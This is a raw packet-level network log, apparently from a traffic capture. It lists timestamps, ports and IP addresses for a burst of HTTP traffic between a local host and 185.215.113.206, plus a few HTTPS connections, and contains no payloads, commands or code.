Dec 7, 2024 00:15:50.654764891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.655133963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.655632019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.655708075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.655738115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.655810118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.656851053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.656862974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.656924009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.657629967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.657742977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.658643007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.658704042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.658829927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.658966064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.659626007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.659667015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.659713030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.660196066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.660595894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.660648108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.660708904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.660794973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.661592960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.661643982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.661704063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.661839008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.662810087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.662822008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.662863970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.663573980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.663700104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.663840055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.664606094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.664684057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.664716005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.664747953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.665599108 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.665623903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.665637970 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.665678978 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.665683031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.665688038 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.665710926 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.665736914 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.665961981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.666007042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.666552067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.666698933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.666743994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.666878939 CET	443	49844	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.667582989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.667788982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.668615103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.668674946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.668710947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.669051886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.669569969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.669622898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.669647932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.669699907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.670635939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.670702934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.670736074 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.670761108 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.670799017 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.670805931 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.670839071 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.670866013 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.670906067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.671089888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.671535015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.671582937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.671618938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.671664953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.672545910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.672638893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.673512936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.673574924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.673686028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.674506903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.674638987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.674695015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.675724030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.675736904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.675792933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.676512957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.676640034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.676696062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.677284956 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.677304983 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.677371979 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.677386999 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.677527905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.677642107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.677643061 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.677675009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.678519011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.678577900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.678622961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.679531097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.679589987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.679727077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.680493116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.680547953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.680608988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.681477070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.681529999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.681651115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.682487965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.682583094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.682658911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.683490992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.683556080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.683686018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.684566021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.684623003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.684890985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.685475111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.685522079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.685558081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.685625076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.686491966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.686701059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.686745882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.687545061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.687841892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.687891006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.688308001 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.688334942 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.688368082 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.688375950 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.688395977 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.688415051 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.688441038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.688704967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.688745022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.689457893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.689555883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.689604044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.690397978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.693650007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.693990946 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.694020033 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.694072008 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.694078922 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.694103956 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.694122076 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.700732946 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.700788021 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.700834990 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.700843096 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.700856924 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.700866938 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.700892925 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.700910091 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.708236933 CET	443	49845	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.711462021 CET	443	49843	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.714449883 CET	49844	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.715163946 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.715202093 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.715254068 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.715260983 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.715329885 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.745099068 CET	49844	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.745110989 CET	443	49844	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.745575905 CET	49844	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.745583057 CET	443	49844	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.750524998 CET	49845	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.750539064 CET	443	49845	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.751137018 CET	49845	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.751146078 CET	443	49845	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.751467943 CET	49843	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.751491070 CET	443	49843	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.752116919 CET	49843	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.752124071 CET	443	49843	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.757087946 CET	443	49846	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:50.757157087 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:50.825664043 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.825706005 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.825753927 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.825776100 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.825789928 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.825819016 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.830194950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.830328941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.830873013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.830956936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.830967903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.831130028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.831177950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.831873894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.831975937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.832021952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.842861891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.842885971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.843272924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.843285084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.843297005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.843363047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.843384981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.843977928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.844013929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.844019890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.844830036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.844844103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.844854116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.844882965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.844922066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.845607042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.845619917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.845632076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.845643044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.845705986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.845729113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.846400023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.846412897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.847244978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.847258091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.847270012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.847281933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.847304106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.847327948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.848042011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.848057985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.848098040 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.848125935 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.848182917 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.848191023 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.848222971 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.848223925 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.848236084 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.848529100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.848541021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.848568916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.848637104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.849106073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.849118948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.849129915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.849179983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.849904060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.849917889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.849930048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.849982977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.850738049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.850750923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.850764036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.850776911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.850805044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.850827932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.851532936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.851546049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.851577997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.851609945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.852159977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.852171898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.852217913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.852240086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.852885962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.852897882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.852936983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.853249073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.853261948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.853291988 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.853319883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.853962898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.853975058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.854753971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.854806900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.854839087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.855835915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.855848074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.855890989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.856759071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.856856108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.856903076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.857703924 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.857733965 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.857775927 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.857784033 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.857789040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.857803106 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.857831001 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.858108044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.858139992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.858155966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.858717918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.858833075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.858886957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.859764099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.859921932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.859968901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.860706091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.860840082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.860883951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.861711025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.861857891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.862682104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.862735033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.862795115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.863722086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.863764048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.863789082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.864672899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.864715099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.864779949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.865628004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.865686893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.865818977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.865864992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.866687059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.866781950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.866836071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.867660999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.867795944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.867841959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.868689060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.868772984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.868818998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.869668961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.869786024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.870520115 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.870558977 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.870606899 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.870615005 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.870660067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.870677948 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.870688915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.870826006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.870868921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.871654987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.871772051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.871818066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.872797966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.872809887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.872852087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.873655081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.873770952 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.874505043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.874743938 CET	80	49823	185.215.113.206	192.168.2.6
